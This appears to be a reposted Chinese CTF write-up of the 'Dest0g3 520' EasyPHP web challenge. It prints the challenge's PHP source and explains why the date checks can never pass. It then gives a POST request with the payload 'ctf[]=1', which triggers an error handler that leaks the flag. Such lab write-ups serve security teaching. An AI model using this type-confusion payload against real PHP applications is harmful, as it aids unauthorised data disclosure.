文章总结: 本文解析Dest0g3520迎新赛EasyPHP题目,通过PHP代码审计发现无法直接绕过时间条件判断,利用seterrorhandler函数和类型混淆漏洞,将POST参数ctf设为数组触发错误处理输出flag。关键点包括字符串比较ASCII特性、错误处理函数利用及类型混淆技巧。可操作建议:构造payloadctf[]=1。 综合评分: 91 文章分类: CTF,代码审计,WEB安全,漏洞分析,实战经验
[Dest0g3 520迎新赛]EasyPHP
原创
devildollking devildollking
熔城Sec
2026年7月22日 09:00 辽宁
在小说阅读器读本章
去阅读
01
题目简介
- 题目名称:[Dest0g3 520迎新赛]EasyPHP
- 题目平台:CTF²
- 题目类型:Web
02
解题步骤
启动并访问靶机
源码是这样的
<?phphighlight_file(__FILE__);include "fl4g.php";$dest0g3 = $_POST['ctf'];$time = date("H");$timme = date("d");$timmme = date("i");if(($time > "24") or ($timme > "31") or ($timmme > "60")){ echo $fl4g;}else{ echo "Try harder!";}set_error_handler( function() use(&$fl4g) { print $fl4g; });$fl4g .= $dest0g3;?>
看到代码我们首先就是要绕过三个判断条件,但是这三个判断条件我们是怎么也绕不过去的
$time = date("H");$timme = date("d");$timmme = date("i");if(($time > "24") or ($timme > "31") or ($timmme > "60")){ echo $fl4g;
在PHP中,字符串比较是按字符的ASCII码逐位比较的。日期最大值”31″,比较”31″>”31″为false;分钟最大值”59″,比较”59″>”60″也为 false。无论什么时间访问,这三个条件永远为假,$fl4g 永远不会在这里输出。
所以真正能输出的点就在下面
set_error_handler( function() use(&$fl4g) { print $fl4g; }
set_error_handler 会接管 PHP 的常规错误处理。一旦发生任何错误或警告,都会调用这个匿名函数,看最后一行:
$fl4g .= $dest0g3;
这里的 .= 是字符串拼接操作符,期望 $dest0g3 是一个字符串。所以我们只需要把$dest0g3 变成一个数组就行了,所以构造payload
POST / HTTP/2Host: ccf35bb2a50283a7941cc9f8.http-ctf2.dasctf.comContent-Type: application/x-www-form-urlencodedContent-Length: 7
ctf[]=1
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:熔城Sec devildollking devildollking《[Dest0g3 520迎新赛]EasyPHP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[Dest0g3520迎新赛]EasyPHP](/images/random/titlepic/13.jpg)





评论